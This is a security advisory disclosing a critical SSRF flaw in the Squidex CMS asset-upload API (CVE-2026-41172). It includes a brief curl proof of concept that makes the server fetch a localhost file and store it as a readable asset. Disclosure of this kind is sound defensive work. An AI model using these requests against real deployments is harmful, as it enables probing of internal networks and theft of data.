Skip to content

Server-Side Request Forgery (SSRF) via URL-based asset upload (/api/apps/{app}/assets)

Critical
SebastianStehle published GHSA-x7cq-4f4c-8qcv Apr 14, 2026

Package

nuget Squidex (NuGet)

Affected versions

<=7.21.0

Patched versions

7.21.0

Description

Summary

An SSRF vulnerability allows a user with asset upload permission to force the server to fetch a
rbitrary URLs, including localhost/private network targets, and persist the response as an asse
t.

Details

The URL upload flow accepts url and name from multipart form data, then performs a server-side
GET request directly against the provided URL.

Incriminated code:

  • backend/src/Squidex/Areas/Api/Config/AssetFileResolver.cs
  • DownloadFileAsync(...) reads untrusted url from request form and executes
    httpClient.GetAsync(fileUrl, ct) (around lines 67-90).

The project contains SSRF protection infrastructure:

  • backend/src/Squidex.Infrastructure/Http/SsrfExtensions.cs (EnableSsrfProtection)
  • backend/src/Squidex.Infrastructure/Http/SsrfProtectionHandler.cs

But EnableSsrfProtection(...) is not used in the vulnerable HTTP client path, so SSRF
protections are not enforced for this endpoint.

PoC

Environment used for reproduction:

Steps:

  1. Start a local internal-only service:

mkdir -p /tmp/ssrf-secret
echo 'SSRF_POC_SECRET_7f2f6ad8' > /tmp/ssrf-secret/secret.txt
cd /tmp/ssrf-secret && python3 -m http.server 9099 --bind 127.0.0.1

  1. Upload asset via URL (server-side fetch):

curl -X POST "http://127.0.0.1:5000/api/apps//assets/"
-H "Authorization: Bearer "
-F "url=http://127.0.0.1:9099/secret.txt"
-F "name=secret.txt"

  1. Read uploaded asset:

curl -H "Authorization: Bearer "
"http://127.0.0.1:5000/api/assets///secret.txt"

Observed result:

  • Upload returns 201
  • Downloaded asset content equals SSRF_POC_SECRET_7f2f6ad8
  • Internal service log shows GET request from Squidex server process

Impact

  • Vulnerability type: SSRF
  • Enables access to localhost/private network resources from server context
  • Can be used for internal service probing and sensitive data exfiltration
  • Affects deployments where users/clients can upload assets by URL

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

CVE ID

CVE-2026-41172

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

Credits